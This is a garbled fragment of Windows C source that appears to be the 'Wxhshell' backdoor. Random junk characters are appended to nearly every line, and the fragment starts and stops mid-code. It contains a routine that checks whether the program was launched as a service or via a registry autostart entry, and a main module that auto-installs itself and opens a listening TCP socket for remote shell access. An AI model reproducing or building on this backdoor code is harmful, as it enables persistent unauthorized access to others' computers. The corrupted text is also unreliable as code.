} PROCESS_BASIC_INFORMATION; |}){}or
6io , uh!
PROCNTQSIP NtQueryInformationProcess; UZ8?[
-st7_3
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ >`X]I;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @v\*AYr'M
6)pH|d.FR
HANDLE hProcess; 2!N8rHRt
PROCESS_BASIC_INFORMATION pbi; o`khz{SU:
HaA1z}?n
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dk8wIa"K`
if(NULL == hInst ) return 0; E2GGEKrW
SPj><5Ro
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B*!WrB:s
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4YZS"K'E
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5=(c%
ozsxXBh-`'
if (!NtQueryInformationProcess) return 0; z}SND9-"
PLM _#+R>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1
4LI5T
if(!hProcess) return 0; *zO&N^X.4
ck#"*],
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L]a`"CH:a$
TEUY3z[g
CloseHandle(hProcess); KlK`;cr?
U=bEA1*@0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eMK+X \
if(hProcess==NULL) return 0; TG
n-7 88
VcK}2<8:+~
HMODULE hMod; ^4%Zvl
char procName[255]; PR<||"03
unsigned long cbNeeded; fIoIW&iy
;0ME+]`"3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !#wd Ve_(
IB.yU,v
CloseHandle(hProcess); S\y%4}j
Z,N$A7SBE
if(strstr(procName,"services")) return 1; // 以服务启动 7iuQ9q^&
w^K^I_2ge
return 0; // 注册表启动 I
PE}gp
} {|9}+
@5Q1
4t4olkK3Oa
// 主模块 C@o%J.9"#
int StartWxhshell(LPSTR lpCmdLine) 6]Q3Yz^h
{ FDR1Gy
SOCKET wsl; ]43[6Im
BOOL val=TRUE; _9:@Vl]Q@
int port=0; xChI,~i
struct sockaddr_in door; lA>\Ko
j:5%ppIY
if(wscfg.ws_autoins) Install(); ,1Qd\8N9
31Cq22"
port=atoi(lpCmdLine); {5c]Mn"r
G@S&1=nj3
if(port<=0) port=wscfg.ws_port; ~;-9X|
9?+9UlJ7K
WSADATA data; mzL[/B#>M
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]O:M$ $
NGjdG=,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; E_$z`or
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'f?.R&